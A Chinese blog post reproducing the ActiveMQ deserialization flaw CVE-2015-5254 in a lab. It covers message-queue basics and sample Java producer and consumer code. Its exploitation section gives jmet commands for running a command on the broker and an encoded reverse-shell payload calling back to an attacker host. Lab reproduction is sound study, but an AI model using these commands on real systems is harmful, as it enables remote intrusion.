漏洞復現 - ActiveMQ反序列化漏洞(CVE-2015-5254)


基礎知識

MQ(Message Queue):消息隊列/消息中間件。消息服務將消息放在隊列/主題中,在合適時候發給接收者。發送和接收是異步的(發送者和接收者的生命周期沒有必然關系)。

  • 隊列:消息存在隊列中,發送和接收都是異步的
  • 主題:在發布pub/訂閱sub模式下,發送消息給固定接收者(訂閱過主題的),一對多的通信方式

MQ解決的問題:

  • 解耦:新模塊接入時,代碼改動最小
  • 消峰:設置流量緩沖池,讓后端系統按照自身吞吐能力消費,不被沖垮
  • 異步:強弱依賴梳理能將非關鍵調用鏈路的操作異步化,並提升整體系統的吞吐能力

產品種類:Kafka, RabbitMQ, RocketMQ, ActiveMQ

ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。

 

漏洞原理

該漏洞源於程序沒有限制可在代理中序列化的類。遠程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執行任意代碼。

 

影響版本 

5.13.0之前5.x版本

 

復現環境

將ActiveMQ部署在MAC上,使用版本為apache-activemq-5.11.1,MAC上有JDK1.7和JDK1.8兩個版本(應使用JDK1.7)。

漏洞利用庫jmet-0.1.0-all.jarhttps://github.com/matthiaskaiser/jmet

 

復現過程

參考教程:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md

1. 安裝和啟動ActiveMQ

  • 解壓:tar -zxvf apache-activemq-5.11.0-bin.tar.gz,新建文件夾myactiveMQ,把解壓的壓縮包pache-activemq-5.11.0拷過去
  • 終端進入myactiveMQ/pache-activemq-5.11.0/bin
  • 啟動命令:./activemq start (默認端口61616

    

     

2. 寫code給ActiveMQ發送和接收消息(為了加深理解,不是必須步驟)

消息發送方:

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class JmsProduce {

    public static final String ACTIVEMQ_URL="tcp://localhost:61616";
    public static final String QUEUE_NAME="queue01";

    public static void main(String[] args) throws JMSException {

        //采用默認用戶名和密碼
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        Connection connection = activeMQConnectionFactory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = session.createQueue(QUEUE_NAME);

        MessageProducer messageProducer = session.createProducer(queue);
        //使用messageProducer生產3條消息發送到MQ隊列
        for (int i=0;i<3;i++){
            TextMessage textMessage=session.createTextMessage("msg----"+i);
            messageProducer.send(textMessage);
        }

        messageProducer.close();
        session.close();
        connection.close();

        System.out.println("******消息發布到MQ完成******");
    }
}
View Code

消息接收方:

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class JmsConsumer {

    public static final String ACTIVEMQ_URL = "tcp://localhost:61616";
    public static final String QUEUE_NAME = "queue01";

    public static void main(String[] args) throws JMSException {

        //采用默認用戶名和密碼
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        Connection connection = activeMQConnectionFactory.createConnection();
        connection.start();

        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = session.createQueue(QUEUE_NAME);

        MessageConsumer messageConsumer = session.createConsumer(queue);
        while (true) {

            TextMessage textMessage = (TextMessage) messageConsumer.receive();
            if (textMessage != null) {
                System.out.println("******接收道消息:" + textMessage.getText());
            } else {
                break;
            }
        }

        messageConsumer.close();
        session.close();
        connection.close();
    }
}
View Code

發送消息后查看隊列:

接收消息后查看隊列:

3. 漏洞利用

下載:jmet-0.1.0-all.jar,在同目錄下新建external文件夾(表問為什么,建了就是了)

(1) 執行惡意命令

執行命令:

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.101.9 61616

命令執行之后,打開ActiveMQ控制台,會發現新建了一個名為event的隊列,並發送了一條消息:

 

此時只要在控制台點擊查看該消息,就會在apache-activemq-5.11.1/tmp下面新建一個名為sucess的文件(如果看到該文件,說明在發消息的時候發送的惡意代碼"touch /tmp/sucess"執行成功,漏洞利用成功),然而我在打開消息詳情頁面的時候報錯了:

排查之后,發現是jdk版本和activeMQ版本不匹配造成的(剛開始我用的jdk1.8),5.11版本應使用jdk1.7。切換jdk版本后再試一次,查看消息成功:

命令執行成功,說明執行任意代碼的漏洞確實存在:

(2) 反彈shell

執行命令:

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -Y "bash -c {echo YmFzaCAtaSAmZ3Q7Ji9kZXYvdGNwLzE5Mi4xNjguMTAxLjE0LzEzMTQgMCZndDsmMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.101.9 61616

反彈成功:

 

 

 

本文僅用於技術學習和交流,嚴禁用於非法用途,否則產生的一切后果自行承擔。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM